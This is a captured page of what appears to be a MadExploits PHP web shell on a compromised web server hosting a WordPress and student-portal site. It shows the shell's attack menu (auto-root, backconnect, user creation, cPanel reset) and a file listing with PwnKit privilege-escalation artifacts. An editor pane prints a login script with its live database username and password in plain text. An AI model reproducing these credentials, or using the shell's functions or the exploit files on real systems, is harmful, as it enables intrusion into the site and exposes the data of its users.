Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cipd /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
applications
[ DIR ]
drwxr-xr-x
upload
[ DIR ]
drwxrwxrwx
wp-admin
[ DIR ]
drwxrwxr-x
wp-content
[ DIR ]
drwxrwxr-x
wp-includes
[ DIR ]
drwxrwxr-x
.htaccess
523
B
-rwxrwxr-x
.mad-root
0
B
-rw-r--r--
admin_dashboard.php
20.42
KB
-rw-r--r--
admin_login.php
8.62
KB
-rw-r--r--
index.php
405
B
-rwxrwxr-x
license.txt
19.45
KB
-rwxrwxr-x
old-data.tar
381.81
MB
-rwxrwxr-x
pwnkit
10.99
KB
-rwxr-xr-x
readme.html
7.23
KB
-rwxrwxr-x
student_dashboard.php
24.53
KB
-rw-r--r--
student_form.php
15.23
KB
-rw-r--r--
student_login.php
7.94
KB
-rw-r--r--
student_ranking.php
17.12
KB
-rw-r--r--
wordpress-6.5.5.zip
24.98
MB
-rwxrwxr-x
wp-activate.php
7.21
KB
-rwxrwxr-x
wp-blog-header.php
351
B
-rwxrwxr-x
wp-comments-post.php
2.27
KB
-rwxrwxr-x
wp-config
3.12
KB
-rwxrwxr-x
wp-config-sample.php
2.94
KB
-rwxrwxr-x
wp-config.php
3.21
KB
-rw-rw-rw-
wp-cron.php
5.51
KB
-rwxrwxr-x
wp-links-opml.php
2.44
KB
-rwxrwxr-x
wp-load.php
3.83
KB
-rwxrwxr-x
wp-login.php
49.72
KB
-rwxrwxr-x
wp-mail.php
8.33
KB
-rwxrwxr-x
wp-settings.php
27.76
KB
-rwxrwxr-x
wp-signup.php
33.58
KB
-rwxrwxr-x
wp-trackback.php
4.77
KB
-rwxrwxr-x
xmlrpc.php
3.17
KB
-rwxrwxr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : student_login.php
<?php // student_login.php // Student login page — professional layout + secure server-side auth session_start(); mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT); $errors = []; try { // $conn = new mysqli("localhost", "root", "", "student_db"); $conn = new mysqli("localhost", "cipd", "CiPd-CiPd2024", "cipd"); $conn->set_charset("utf8mb4"); if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Trim input $email = trim($_POST['email'] ?? ''); $password = $_POST['password'] ?? ''; // Basic server-side validation if ($email === '' || !filter_var($email, FILTER_VALIDATE_EMAIL)) { $errors[] = "Please enter a valid email address."; } if ($password === '') { $errors[] = "Please enter your password."; } // If no validation errors, attempt login if (empty($errors)) { $stmt = $conn->prepare("SELECT id, name, password FROM users WHERE email = ? LIMIT 1"); $stmt->bind_param("s", $email); $stmt->execute(); $stmt->store_result(); if ($stmt->num_rows === 1) { $stmt->bind_result($uid, $name, $hash); $stmt->fetch(); if (! is_null($hash) && password_verify($password, $hash)) { // Successful login session_regenerate_id(true); $_SESSION['user_id'] = $uid; $_SESSION['user_name'] = $name; $_SESSION['user_email'] = $email; // Optionally set a logged_in flag $_SESSION['logged_in'] = time(); // Redirect to dashboard (change target if needed) header("Location: student_dashboard.php"); exit; } else { $errors[] = "Invalid credentials. Please check email and password."; } } else { $errors[] = "Invalid credentials. Please check email and password."; } $stmt->close(); } } } catch (Exception $e) { // Generic message for user, log the error in real app $errors[] = "An unexpected error occurred. Please try again later."; // For debugging (remove in production): $errors[] = $e->getMessage(); } finally { if (isset($conn) && $conn instanceof mysqli) $conn->close(); } ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width,initial-scale=1" /> <title>Student Login</title> <style> :root{ --bg:#f6f9fc; --card:#ffffff; --muted:#6b7280; --accent:#0b69ff; --danger:#dc2626; --radius:12px; --input-border:#e6e9ef; } *{box-sizing:border-box} body{ margin:0; font-family:Inter, system-ui, -apple-system, "Segoe UI", Roboto, Arial; background:var(--bg); color:#0f172a; padding:40px 16px; display:flex; justify-content:center; min-height:100vh; } .card{ width: 100%; height: 100%; max-width: 520px; background: var(--card); border-radius: var(--radius); box-shadow: 0 14px 40px rgba(2, 6, 23, 0.06); padding: 28px; margin-top: 15vh; } .brand{ display:flex; align-items:center; gap:12px; margin-bottom:10px; } .logo{ width:44px;height:44px;border-radius:10px;background:linear-gradient(135deg,var(--accent),#6fb1ff);display:inline-flex;align-items:center;justify-content:center;color:white;font-weight:800;font-size:18px; } h2{margin:0;font-size:20px} p.lead{margin:6px 0 18px 0;color:var(--muted);font-size:14px} form{display:block} label{display:block;font-weight:600;font-size:13px;margin-bottom:6px} input[type="email"], input[type="password"]{ width:100%; padding:12px 14px;border-radius:10px;border:1px solid var(--input-border); font-size:14px;background:#fff;outline:none;transition:box-shadow .12s ease,border-color .12s ease; } input:focus{box-shadow:0 10px 30px rgba(11,105,255,0.06);border-color:rgba(11,105,255,0.45);} .actions{display:flex;align-items:center;justify-content:space-between;margin-top:18px;gap:12px} .btn{background:var(--accent);color:white;padding:12px 16px;border-radius:10px;border:none;cursor:pointer;font-weight:700} .btn.secondary{background:#eef3ff;color:var(--accent);border:1px solid rgba(11,105,255,0.08)} .btn:disabled{opacity:.6;cursor:not-allowed} .helper{font-size:13px;color:var(--muted)} .global-errors{background:#fff4f4;border:1px solid #ffd7d7;padding:12px;border-radius:8px;color:var(--danger);margin-bottom:12px} .success{background:#f0fdf4;border:1px solid #bbf7d0;padding:12px;border-radius:8px;color:var(--success);margin-bottom:12px} .row{display:flex;gap:12px} .remember{display:flex;align-items:center;gap:8px;font-size:13px;color:var(--muted)} .forgot{font-size:13px} @media(max-width:520px){ .actions{flex-direction:column-reverse;align-items:stretch} .row{flex-direction:column} } </style> </head> <body> <div class="card" role="main" aria-labelledby="loginTitle"> <div class="brand" aria-hidden="false"> <div class="logo">CIPD</div> <div> <h2 id="loginTitle">Student Login</h2> <div class="helper">Sign in to your CiPD Ambassador Challenge Account</div> </div> </div> <?php if (!empty($errors)): ?> <div class="global-errors" role="alert"> <ul style="margin:0 0 0 18px;padding:0"> <?php foreach ($errors as $err): ?> <li><?php echo htmlspecialchars($err); ?></li> <?php endforeach; ?> </ul> </div> <?php endif; ?> <form id="loginForm" method="POST" novalidate> <div style="margin-bottom:12px;"> <label for="email">Email</label> <input id="email" name="email" type="email" required value="<?php echo htmlspecialchars($_POST['email'] ?? ''); ?>"> </div> <div style="margin-bottom:6px;"> <label for="password">Password</label> <input id="password" name="password" type="password" required> </div> <!-- <div class="row" style="margin-top:8px;"> <div class="remember"> <input id="remember" name="remember" type="checkbox" /> <label for="remember" style="margin:0;font-weight:600;font-size:13px;color:var(--muted)">Remember me</label> </div> <div style="margin-left:auto" class="forgot"><a href="#" style="color:var(--accent);text-decoration:none">Forgot password?</a></div> </div> --> <div class="actions" style="margin-top:18px;"> <a href="/student_form.php" class="btn secondary" style="text-decoration:none;display:inline-flex;align-items:center;justify-content:center;padding:10px 14px">Create account</a> <button type="submit" class="btn" id="submitBtn">Sign in</button> </div> </form> </div> <script> (function(){ const form = document.getElementById('loginForm'); const submitBtn = document.getElementById('submitBtn'); const email = document.getElementById('email'); const pwd = document.getElementById('password'); function validEmail(v){ return /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(v); } function check(){ const ok = validEmail(email.value.trim()) && pwd.value.trim().length > 0; submitBtn.disabled = !ok; } email.addEventListener('input', check); pwd.addEventListener('input', check); form.addEventListener('submit', function(e){ if (!validEmail(email.value.trim()) || pwd.value.trim() === '') { e.preventDefault(); // minimal inline feedback alert('Please enter a valid email and password.'); return false; } }); // initial check(); })(); </script> </body> </html>
Close